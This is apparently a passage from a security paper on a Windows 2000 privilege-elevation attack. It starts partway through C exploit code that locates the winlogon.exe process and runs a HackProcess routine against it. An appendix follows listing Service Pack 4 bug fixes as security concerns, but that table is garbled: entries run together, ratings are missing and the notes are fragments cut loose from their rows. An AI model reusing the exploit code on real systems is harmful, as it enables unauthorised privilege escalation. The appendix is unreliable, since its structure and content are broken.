                    DWORD Count;
                    if (EnumProcessModules(ProcHandle, &ModHandle[0], 100, &Count))
                    {
                        char Filename[256];
                        if (GetModuleFileNameEx(ProcHandle, ModHandle[0], &Filename[0], 256))
                        {
                            if (strstr(&Filename[0], "winlogon.exe"))
                            {
                                HackProcess(PID, EnumerateOnly);
                                TargetPID = PID;
                                PIDsHacked++;
                            }
                        }
                    }
                }
            }
        }
    }
}```
End of program, send appropriate message to console....

//Check if it worked.
if (!TargetPID && !Bruteforce && !WindowEnum)
{
    printf("Fatal error: Unable to locate winlogon.exe!\n");
    printf("Target PID can be forced using /p switch\n");

}
Appendix B: What are our vulnerabilities?

This table is the result of research of the bug fixes posted in SP4. The first 3 columns are the list as it is posted on the Microsoft site at http://support.microsoft.com/?kbid=327194. The notes column are quotes from the article number listed on the left side and are the reason why/why not this should be a concern in the environment. (For instance, if the Article pertained to Novell, it is not a concern.) In cases where a quick determination could not be made, the concern was rated as “?”. The first 20 are probable security concerns within the organization, four of which are privilege elevation problems (including the 6th one, which is the one demonstrated in this paper). The list has been sorted according to the concern rating for easier reference.

License Logging Service
Decrement licenses for machine accounts

The serial number is decremented in DNS when you reboot the computer.

The event log stops logging events before reaching the maximum log size.

HasMasterNCs attributes for server objects in the configuration container may become damaged.

Slow connectivity to NetWare resources.

Performance of Microsoft Commerce Server-based programs may degrade.

Increase in DNS zone serial numbers causes unnecessary zone transfers in Windows 2000.

The "IPCONFIG /SETCLASSID" command does not send the Class ID in the Options field of the DHCP Information Packet.

A Netsh DHCP Import Does Not Import Configuration Directory Service Access Audits for a SAM Object Server Have Incomplete Object Names.

An access violation occurs in Lsass because of a stack overflow.

The back button is available in the Domain Screen during Automated Setup.

An error occurs in the ADSI Windows NT Provider when you enumerate the members of a group by using a binding.

Dcdiag.exe issues incorrect "Topology Disconnected" error messages.

AT Command Stops Responding When You Try to List Scheduled Jobs.

You cannot collect DHCP data by using SNMP.

Accessing Active Directory with LDAP by using Sun JNDI calls may not work.

DNS caching behavior when you use the "All" query type in Windows 2000.
Computer Hangs for 15 Seconds When You Use Zip Drive

FTP Logging: Transferred Bytes Not Accurate When Transaction Aborted

The Computer Hangs If You Call LockWorkstation() While a Screen Saver Is Running

Only Members of the Administrators Group Can Retrieve the ntSecurityDescriptor Attribute from an IDirectorySearch Result Set Services

Windows NT 4.0 Usemgr.exe Does Not Display an Error Message When You Change a Password to a Weak

DFS Client Computers Stop Responding when Disconnecting from a DFS Share

Stop 0x50 Error Message When You Rename a Large Number of Files on Windows 2000

The Repadmin Tool Returns LDAP Error 32

DCOM Proxy Is Decoupled with Server Stub When It Looks for Binding Handle

Access Violation in Spoolsv.exe GD132!IcmInitIcmInfo in

Windows 2000 A Digital Audio Interface PC Card May Not Function Properly

The TCP Connections Established Performance Counter Reports Incorrect Values on Multiprocessor Computers

A Domain Administrator Receives an "Unable to Display Security" Information" Error Message INFO: Truncated Results When Calling IDirectorySearch::GetNext Row

Multihomed DHCP Clients May Cause "Bad_Address" Entry on a DHCP Server in Windows 2000

Dump File Not Created Correctly with More Than Four GB of Memory and PAE Turned On

FTP Logging LockWorkstation function from a screen saver (or while a screen saver is running), who are not members of the Administrators group cannot retrieve the ntSecurityDescriptor attribute in a result set from an IDirectorySearch search operation

Windows NT 4.0 User Environment profile, and if the home folder is assigned to a drive letter

Distributed File System (DFS) shares across the network

create and then rename a large number of files,

Repadmin tool with the showconn switch

Distributed Component Object Model (DCOM) client and server application scenarios

print job that contains an older version 3 DEVMODE

Domain administrator does not have any permissions for an Active Directory

Documentation

DHCP server.
